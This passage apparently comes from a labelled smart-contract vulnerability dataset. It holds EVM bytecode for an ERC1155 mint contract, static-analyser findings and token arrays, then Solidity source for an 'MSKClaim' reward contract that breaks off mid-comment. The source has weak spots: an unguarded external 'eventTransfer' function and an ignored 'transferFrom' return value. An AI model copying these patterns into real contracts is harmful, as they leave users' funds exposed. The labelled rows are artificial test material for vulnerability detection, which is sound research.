b34801561042857600080fd5b5061031f610b4a565b34801561043d57600080fd5b5061031f610b91565b34801561045257600080fd5b506004546001600160a01b03165b6040516001600160a01b039091168152602001610227565b34801561048457600080fd5b5061031f6104933660046125eb565b610c93565b3480156104a457600080fd5b50610460738975b2c67cffc4498d927b0b18c7c9030512672b81565b3480156104cc57600080fd5b5061031f6104db3660046121e6565b610d69565b3480156104ec57600080fd5b5061021d600181565b34801561050157600080fd5b5061021d6105103660046121e6565b60009081526003602052604090205490565b61031f610530366004612627565b610d98565b61031f610543366004612676565b6110e7565b34801561055457600080fd5b5060065461025090610100900460ff1681565b34801561057357600080fd5b5061046073c9b5553910ba47719e0202ff9f617b8be06b3a0981565b34801561059b57600080fd5b506102506105aa366004612712565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205460ff1690565b3480156105e457600080fd5b5061031f6105f3366004612745565b61140f565b34801561060457600080fd5b5061031f611496565b34801561061957600080fd5b5061031f6106283660046121cb565b6114d4565b34801561063957600080fd5b5061021d6106483660046121cb565b600a6020526000908152604090205481565b34801561066657600080fd5b5061021d60055481565b60006001600160a01b0383166106e15760405162461bcd60e51b815260206004820152602b60248201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b60648201526084015b60405180910390fd5b506000818152602081815260408083206001600160a01b03861684529091529020545b92915050565b60006001600160e01b03198216636cdb3d1360e11b148061073b57506001600160e01b031982166303a24d0760e21b145b8061070457506301ffc9a760e01b6001600160e01b0319831614610704565b6060600b6107678361156f565b604051602001610778929190612800565b6040516020818303038152906040529050919050565b6001600160a01b0385163314806107aa57506107aa85336105aa565b6108115760405162461bcd60e51b815260206004820152603260248201527f455243313135353a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b60648201526084016106d8565b61081e8585858585611678565b5050505050565b6004546001600160a01b0316331461084f5760405162461bcd60e51b81526004016106d89061289d565b47806108965760405162461bcd60e51b81526020600482015260166024820152754e6f2062616c616e636520746f20776974686472617760501b60448201526064016106d8565b73c9b5553910ba47719e0202ff9f617b8be06b3a096108fc6127106108bd846105dc6128e8565b6108c7919061291d565b6040518115909202916000818181858888f193505050501580156108ef573d6000803e3d6000fd5b50604051738975b2c67cffc4498d927b0b18c7c9030512672b904780156108fc02916000818181858888f19350505050158015610930573d6000803e3d6000fd5b5050565b606081518351146109995760405162461bcd60e51b815260206004820152602960248201527f455243313135353a206163636f756e747320616e6420696473206c656e677468604482015268040dad2e6dac2e8c6d60bb1b60648201526084016106d8565b6000835167ffffffffffffffff8111156109b5576109b561226a565b6040519080825280602002602001820160405280156109de578160200160208202803683370190505b50905060005b8451811015610a5657610a29858281518110610a0257610a02612931565b6020026020010151858381518110610a1c57610a1c612931565b6020026020010151610670565b828281518110610a3b57610a3b612931565b6020908102919091010152610a4f81612947565b90506109e4565b509392505050565b6004546001600160a01b03163314610a885760405162461bcd60e51b81526004016106d89061289d565b600555565b6004546001600160a01b03163314610ab75760405162461bcd60e51b81526004016106d89061289d565b610ac3600b83836120b2565b505050565b6004546001600160a01b03163314610af25760405162461bcd60e51b81526004016106d89061289d565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b6004546001600160a01b03163314610b3e5760405162461bcd60e51b81526004016106d89061289d565b610b486000611855565b565b6004546001600160a01b03163314610b745760405162461bcd60e51b81526004016106d89061289d565b6006805461ff001981166101009182900460ff1615909102179055565b6004546001600160a01b03163314610bbb5760405162461bcd60e51b81526004016106d89061289d565b600080526003602052600080516020612c3d8339815191525461022b1015610c195760405162461bcd60e51b8152602060048201526011602482015270115610d1515117d352539517d312535255607a1b60448201526064016106d8565b600080526003602052600080516020612c3d8339815191525460331015610c765760405162461bcd60e51b8152602060048201526011602482015270115610d1515117d352539517d312535255607a1b60448201526064016106d8565b610b483360006033604051806020016040528060008152506118a7565b6001600160a01b0382163303610cfd5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2073657474696e6720617070726f76616c20737461747573604482015268103337b91039b2b63360b91b60648201526084016106d8565b3360008181526001602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6004546001600160a01b03163314610d935760405162461bcd60e51b81526004016106d89061289d565b600755565b336000908152600860205260409020546002904211610df95760405162461bcd60e51b815260206004820152601d60248201527f43414e4e4f545f4d494e545f4f4e5f5448455f53414d455f424c4f434b00000060448201526064016106d8565b323314610e485760405162461bcd60e51b815260206004820152601d60248201527f434f4e5452414354535f4e4f545f414c4c4f5745445f544f5f4d494e5400000060448201526064016106d8565b8060ff16600103610ea55760065460ff16610ea55760405162461bcd60e51b815260206004820152601b60248201527f525542595f4d494e545f49535f4e4f545f5945545f414354495645000000000060448201526064016106d8565b8060ff16600203610ed757600654610100900460ff16610ed75760405162461bcd60e51b81526004016106d890612960565b6040516bffffffffffffffffffffffff193360601b1660208201526001600160c01b031960c085901b166034820152600090603c01604051602081830303815290604052805190602001209050610f2e83826118dc565b610f7a5760405162461bcd60e51b815260206004820152601960248201527f434f4e54524143545f4d494e545f4e4f545f414c4c4f5745440000000000000060448201526064016106d8565b600080526003602052600080516020612c3d8339815191525461022b90610fa29060016129a2565b1115610fec5760405162461bcd60e51b81526020600482015260196024820152784e4f545f454e4f5547485f50524553414c455f535550504c5960381b60448201526064016106d8565b336000908152600a602052604090205460019061100990826129a2565b111561104d5760405162461bcd60e51b81526020600482015260136024820152724d494e5445445f525542595f414c524541445960681b60448201526064016106d8565b60055434146110905760405162461bcd60e51b815260206004820152600f60248201526e57524f4e475f4554485f56414c554560881b60448201526064016106d8565b336000908152600860209081526040808320429055600a90915281208054600192906110bd9084906129a2565b925050819055506110e13360006001604051806020016040528060008152506118a7565b50505050565b3360009081526008602052604090205460019042116111485760405162461bcd60e51b815260206004820152601d60248201527f43414e4e4f545f4d494e545f4f4e5f5448455f53414d455f424c4f434b00000060448201526064016106d8565b3233146111975760405162461bcd60e51b815260206004820152601d60248201527f434f4e5452414354535f4e4f545f414c4c4f5745445f544f5f4d494e5400000060448201526064016106d8565b8060ff166001036111f45760065460ff166111f45760405162461bcd60e51b815260206004820152601b60248201527f525542595f4d494e545f49535f4e4f545f5945545f414354495645000000000060448201526064016106d8565b8060ff1660020361122657600654610100900460ff166112265760405162461bcd60e51b81526004016106d890612960565b6040516bffffffffffffffffffffffff193360601b16602082015260009060340160405160208183030381529060405280519060200120905061126c8360075483611906565b6112a85760405162461bcd60e51b815260206004820152600d60248201526c141493d3d197d2539590531251609a1b60448201526064016106d8565b600080526003602052600080516020612c3d8339815191525461022b906112d09060016129a2565b111561131a5760405162461bcd60e51b81526020600482015260196024820152784e4f545f454e4f5547485f50524553414c455f535550504c5960381b60448201526064016106d8565b3360009081526009602052604090205460019061133790826129a2565b111561137b5760405162461bcd60e51b81526020600482015260136024820152724d494e5445445f525542595f414c524541445960681b60448201526064016106d8565b60055434146113be5760405162461bcd60e51b815260206004820152600f60248201526e57524f4e475f4554485f56414c554560881b60448201526064016106d8565b336000908152600860209081526040808320429055600990915281208054600192906113eb9084906129a2565b92505081905550610ac33360006001604051806020016040528060008152506118a7565b6001600160a01b03851633148061142b575061142b85336105aa565b6114895760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b60648201526084016106d8565b61081e85858585856119b5565b6004546001600160a01b031633146114c05760405162461bcd60e51b81526004016106d89061289d565b6006805460ff19811660ff90911615179055565b6004546001600160a01b031633146114fe5760405162461bcd60e51b81526004016106d89061289d565b6001600160a01b0381166115635760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d8565b61156c81611855565b50565b6060816000036115965750506040805180820190915260018152600360fc1b602082015290565b8160005b81156115c057806115aa81612947565b91506115b99050600a8361291d565b915061159a565b60008167ffffffffffffffff8111156115db576115db61226a565b6040519080825280601f01601f191660200182016040528015611605576020820181803683370190505b5090505b84156116705761161a6001836129ba565b9150611627600a866129d1565b6116329060306129a2565b60f81b81838151811061164757611647612931565b60200101906001600160f81b031916908160001a905350611669600a8661291d565b9450611609565b949350505050565b81518351146116da5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206044820152670dad2e6dac2e8c6d60c31b60648201526084016106d8565b6001600160a01b0384166117005760405162461bcd60e51b81526004016106d8906129e5565b3360005b84518110156117e757600085828151811061172157611721612931565b60200260200101519050600085838151811061173f5761173f612931565b602090810291909101810151600084815280835260408082206001600160a01b038e16835290935291909120549091508181101561178f5760405162461bcd60e51b81526004016106d890612a2a565b6000838152602081815260408083206001600160a01b038e8116855292528083208585039055908b168252812080548492906117cc9084906129a2565b92505081905550505050806117e090612947565b9050611704565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051611837929190612a74565b60405180910390a461184d818787878787611adb565b505050505050565b600480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6118b384848484611c36565b600083815260036020526040812080548492906118d19084906129a2565b909155505050505050565b600c546000906001600160a01b03166118f58385611d37565b6001600160a01b0316149392505050565b600081815b85518110156119aa57600086828151811061192857611928612931565b6020026020010151905080831161196a576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250611997565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b50806119a281612947565b91505061190b565b509092149392505050565b6001600160a01b0384166119db5760405162461bcd60e51b81526004016106d8906129e5565b336119f48187876119eb88611dd9565b61081e88611dd9565b6000848152602081815260408083206001600160a01b038a16845290915290205483811015611a355760405162461bcd60e51b81526004016106d890612a2a565b6000858152602081815260408083206001600160a01b038b8116855292528083208785039055908816825281208054869290611a729084906129a2565b909155505060408051868152602081018690526001600160a01b03808916928a821692918616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4611ad2828888888888611e24565b50505050505050565b6001600160a01b0384163b1561184d5760405163bc197c8160e01b81526001600160a01b0385169063bc197c8190611b1f9089908990889088908890600401612a99565b6020604051808303816000875af1925050508015611b5a575060408051601f3d908101601f19168201909252611b5791810190612af7565b60015b611c0657611b66612b14565b806308c379a003611b9f5750611b7a612b30565b80611b855750611ba1565b8060405162461bcd60e51b81526004016106d89190612257565b505b60405162461bcd60e51b815260206004820152603460248201527f455243313135353a207472616e7366657220746f206e6f6e20455243313135356044820152732932b1b2b4bb32b91034b6b83632b6b2b73a32b960611b60648201526084016106d8565b6001600160e01b0319811663bc197c8160e01b14611ad25760405162461bcd60e51b81526004016106d890612bba565b6001600160a01b038416611c965760405162461bcd60e51b815260206004820152602160248201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b60648201526084016106d8565b33611ca7816000876119eb88611dd9565b6000848152602081815260408083206001600160a01b038916845290915281208054859290611cd79084906129a2565b909155505060408051858152602081018590526001600160a01b0380881692600092918516917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a461081e81600087878787611e24565b60008151604103611d6a5760208201516040830151606084015160001a611d6086828585611edf565b9350505050610704565b8151604003611d915760208201516040830151611d88858383612088565b92505050610704565b60405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e6774680060448201526064016106d8565b60408051600180825281830190925260609160009190602080830190803683370190505090508281600081518110611e1357611e13612931565b602090810291909101015292915050565b6001600160a01b0384163b1561184d5760405163f23a6e6160e01b81526001600160a01b0385169063f23a6e6190611e689089908990889088908890600401612c02565b6020604051808303816000875af1925050508015611ea3575060408051601f3d908101601f19168201909252611ea091810190612af7565b60015b611eaf57611b66612b14565b6001600160e01b0319811663f23a6e6160e01b14611ad25760405162461bcd60e51b81526004016106d890612bba565b60007f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0821115611f5c5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b60648201526084016106d8565b8360ff16601b1480611f7157508360ff16601c145b611fc85760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b60648201526084016106d8565b6040805160008082526020820180845288905260ff871692820192909252606081018590526080810184905260019060a0016020604051602081039080840390855afa15801561201c573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661207f5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e6174757265000000000000000060448201526064016106d8565b95945050505050565b60006001600160ff1b03821660ff83901c601b016120a886828785611edf565b9695505050505050565b8280546120be906127aa565b90600052602060002090601f0160209004810192826120e05760008555612126565b82601f106120f95782800160ff19823516178555612126565b82800160010185558215612126579182015b8281111561212657823582559160200191906001019061210b565b50612132929150612136565b5090565b5b808211156121325760008155600101612137565b80356001600160a01b038116811461216257600080fd5b919050565b6000806040838503121561217a57600080fd5b6121838361214b565b946020939093013593505050565b6001600160e01b03198116811461156c57600080fd5b6000602082840312156121b957600080fd5b81356121c481612191565b9392505050565b6000602082840312156121dd57600080fd5b6121c48261214b565b6000602082840312156121f857600080fd5b5035919050565b60005b8381101561221a578181015183820152602001612202565b838111156110e15750506000910152565b600081518084526122438160208601602086016121ff565b601f01601f19169290920160200192915050565b6020815260006121c4602083018461222b565b634e487b7160e01b600052604160045260246000fd5b601f8201601f1916810167ffffffffffffffff811182821017156122a6576122a661226a565b6040525050565b600067ffffffffffffffff8211156122c7576122c761226a565b5060051b60200190565b600082601f8301126122e257600080fd5b813560206122ef826122ad565b6040516122fc8282612280565b83815260059390931b850182019282810191508684111561231c57600080fd5b8286015b848110156123375780358352918301918301612320565b509695505050505050565b600082601f83011261235357600080fd5b813567ffffffffffffffff81111561236d5761236d61226a565b604051612384601f8301601f191660200182612280565b81815284602083860101111561239957600080fd5b816020850160208301376000918101602001919091529392505050565b600080600080600060a086880312156123ce57600080fd5b6123d78661214b565b94506123e56020870161214b565b9350604086013567ffffffffffffffff8082111561240257600080fd5b61240e89838a016122d1565b9450606088013591508082111561242457600080fd5b61243089838a016122d1565b9350608088013591508082111561244657600080fd5b5061245388828901612342565b9150509295509295909350565b6000806040838503121561247357600080fd5b823567ffffffffffffffff8082111561248b57600080fd5b818501915085601f83011261249f57600080fd5b813560206124ac826122ad565b6040516124b98282612280565b83815260059390931b85018201928281019150898411156124d957600080fd5b948201945b838610156124fe576124ef8661214b565b825294820194908201906124de565b9650508601359250508082111561251457600080fd5b50612521858286016122d1565b9150509250929050565b600081518084526020808501945080840160005b8381101561255b5781518752958201959082019060010161253f565b509495945050505050565b6020815260006121c4602083018461252b565b6000806020838503121561258c57600080fd5b823567ffffffffffffffff808211156125a457600080fd5b818501915085601f8301126125b857600080fd5b8135818111156125c757600080fd5b8660208285010111156125d957600080fd5b60209290920196919550909350505050565b600080604083850312156125fe57600080fd5b6126078361214b565b91506020830135801515811461261c57600080fd5b809150509250929050565b6000806040838503121561263a57600080fd5b823567ffffffffffffffff808216821461265357600080fd5b9092506020840135908082111561266957600080fd5b5061252185828601612342565b6000602080838503121561268957600080fd5b823567ffffffffffffffff8111156126a057600080fd5b8301601f810185136126b157600080fd5b80356126bc816122ad565b6040516126c98282612280565b82815260059290921b83018401918481019150878311156126e957600080fd5b928401925b82841015612707578335825292840192908401906126ee565b979650505050505050565b6000806040838503121561272557600080fd5b61272e8361214b565b915061273c6020840161214b565b90509250929050565b600080600080600060a0868803121561275d57600080fd5b6127668661214b565b94506127746020870161214b565b93506040860135925060608601359150608086013567ffffffffffffffff81111561279e57600080fd5b61245388828901612342565b600181811c908216806127be57607f821691505b6020821081036127de57634e487b7160e01b600052602260045260246000fd5b50919050565b600081516127f68185602086016121ff565b9290920192915050565b600080845481600182811c91508083168061281c57607f831692505b6020808410820361283b57634e487b7160e01b86526022600452602486fd5b81801561284f57600181146128605761288d565b60ff1986168952848901965061288d565b60008b81526020902060005b868110156128855781548b82015290850190830161286c565b505084890196505b50505050505061207f81856127e4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612902576129026128d2565b500290565b634e487b7160e01b600052601260045260246000fd5b60008261292c5761292c612907565b500490565b634e487b7160e01b600052603260045260246000fd5b600060018201612959576129596128d2565b5060010190565b60208082526022908201527f525542595f5055424c49435f4d494e545f49535f4e4f545f5945545f41435449604082015261564560f01b606082015260800190565b600082198211156129b5576129b56128d2565b500190565b6000828210156129cc576129cc6128d2565b500390565b6000826129e0576129e0612907565b500690565b60208082526025908201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252602a908201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60408201526939103a3930b739b332b960b11b606082015260800190565b604081526000612a87604083018561252b565b828103602084015261207f818561252b565b6001600160a01b0386811682528516602082015260a060408201819052600090612ac59083018661252b565b8281036060840152612ad7818661252b565b90508281036080840152612aeb818561222b565b98975050505050505050565b600060208284031215612b0957600080fd5b81516121c481612191565b600060033d1115612b2d5760046000803e5060005160e01c5b90565b600060443d1015612b3e5790565b6040516003193d81016004833e81513d67ffffffffffffffff8160248401118184111715612b6e57505050505090565b8285019150815181811115612b865750505050505090565b843d8701016020828501011115612ba05750505050505090565b612baf60208286010187612280565b509095945050505050565b60208082526028908201527f455243313135353a204552433131353552656365697665722072656a656374656040820152676420746f6b656e7360c01b606082015260800190565b6001600160a01b03868116825285166020820152604081018490526060810183905260a0608082018190526000906127079083018461222b56fe3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92effa2646970667358221220ea69289e8bcda73bcc823c8501f0cae8951a81bc827ae2b10fc6c97a4f2289a564736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 22932, 2581, 16703, 27009, 2278, 2620, 16068, 2692, 2497, 29097, 2629, 2278, 16147, 2620, 2549, 14141, 2487, 15878, 26224, 2581, 2620, 11329, 2509, 2278, 2475, 2050, 2629, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,175
0x965452a17833d4Eb0E98732319609feB422d1d26
pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Context.sol"; contract MSKClaim is Context, Ownable { using SafeMath for uint256; event Claim(address indexed owner, uint256 indexed amount); struct ClaimInfo { uint32 time; uint224 amount; } uint32 private m_StartTime = 1643328000; // Jan-28-2022 00:00 UTC uint32 private m_EndTime = 1958774400; // Jan-27-2032 00:00 UTC uint256 private m_MSKPerDay = 100 ether; address private m_MSK = 0x72D7b17bF63322A943d4A2873310a83DcdBc3c8D; address private m_Badbear = 0x5E4aAB148410DE1CB50cDCD5108e1260Cc36d266; address private m_ClaimWallet = 0xA69e1e8f7afd56126452AcDbCe27374570a52D48; bool private m_ClaimPaused = true; mapping(address => ClaimInfo) private m_ClaimInfoList; constructor() {} function eventTransfer( address from, address to, uint256 tokenId ) external { m_ClaimInfoList[from].amount = uint224(_calcRewardAmount(from)); m_ClaimInfoList[from].time = uint32(block.timestamp); m_ClaimInfoList[to].amount = uint224(_calcRewardAmount(to)); m_ClaimInfoList[to].time = uint32(block.timestamp); } function _calcRewardAmount(address _address) internal view returns (uint256) { ClaimInfo memory claimInfo = m_ClaimInfoList[_address]; IERC721 badbear = IERC721(m_Badbear); uint32 lastRewardTime = m_StartTime > claimInfo.time ? m_StartTime : claimInfo.time; uint32 endTime = m_EndTime > uint32(block.timestamp) ? uint32(block.timestamp) : m_EndTime; uint256 rewardAmount = claimInfo.amount; if (lastRewardTime > endTime) return rewardAmount; uint256 newAmount = m_MSKPerDay * (endTime - lastRewardTime); newAmount = newAmount.div(1 days).mul(badbear.balanceOf(_address)); return (rewardAmount.add(newAmount)); } function claimMsk(uint256 _amount) external { require(m_ClaimPaused == false); uint256 availableAmount = _calcRewardAmount(_msgSender()); require(availableAmount >= _amount); IERC20 msk = IERC20(m_MSK); msk.transferFrom(m_ClaimWallet, _msgSender(), _amount); m_ClaimInfoList[_msgSender()].amount = uint224( availableAmount.sub(_amount) ); m_ClaimInfoList[_msgSender()].time = uint32(block.timestamp); emit Claim(_msgSender(), _amount); } function calcRewardAmount(address _address) external view returns (uint256) { return _calcRewardAmount(_address); } function setClaimWallet(address _rewardWallet) external onlyOwner { m_ClaimWallet = _rewardWallet; } function getClaimWallet() external view returns (address) { return m_ClaimWallet; } function setMSKperDay(uint256 _mskPerDay) external onlyOwner { m_MSKPerDay = _mskPerDay.mul(1 ether); } function getMSKperDay() external view returns (uint256) { return m_MSKPerDay.div(1 ether); } function setStartTime(uint32 _startTime) external onlyOwner { m_StartTime = _startTime; } function getStartTime() external view returns (uint32) { return m_StartTime; } function setEndTime(uint32 _endTime) external onlyOwner { m_EndTime = _endTime; } function getEndTime() external view returns (uint32) { return m_EndTime; } function setClaimPaused(bool _claimPaused) external onlyOwner { m_ClaimPaused = _claimPaused; } function getClaimPaused() external view returns (bool) { return m_ClaimPaused; } // ######## MSK & BADBEAR ######### function setMskContract(address _address) external onlyOwner { m_MSK = _address; } function getMskContract() external view returns (address) { return m_MSK; } function setBadbearContract(address _address) external onlyOwner { m_Badbear = _address; } function getBadbearContract() external view returns (address) { return m_Badbear; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic 